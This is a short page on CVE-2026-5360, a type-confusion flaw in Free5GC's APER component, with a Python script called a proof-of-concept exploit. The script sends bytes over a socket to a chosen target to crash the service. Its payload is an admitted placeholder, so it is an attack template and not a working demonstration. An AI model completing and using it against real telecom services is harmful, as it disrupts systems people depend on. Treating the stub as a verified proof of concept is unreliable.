CVE-2026-5360 Free5GC类型混淆漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5360 (Free5GC Type Confusion) # This script demonstrates how to send a potentially malformed packet to the APER component. # Actual payload requires reverse engineering the commit diff to find the specific type mismatch. import socket import struct def send_exploit(target_ip, target_port): try: # Constructing a malformed APER packet that triggers type confusion # Placeholder payload: specific bytes depend on the ASN.1 structure mismatch in aper component payload = b'\x00\x01\x02\x03\x04\x05' print(f"[*] Sending exploit payload to {target_ip}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) print("[+] Payload sent. Check for service crash or instability.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" # Replace with actual target port = 9999 # Replace with actual port send_exploit(target, port)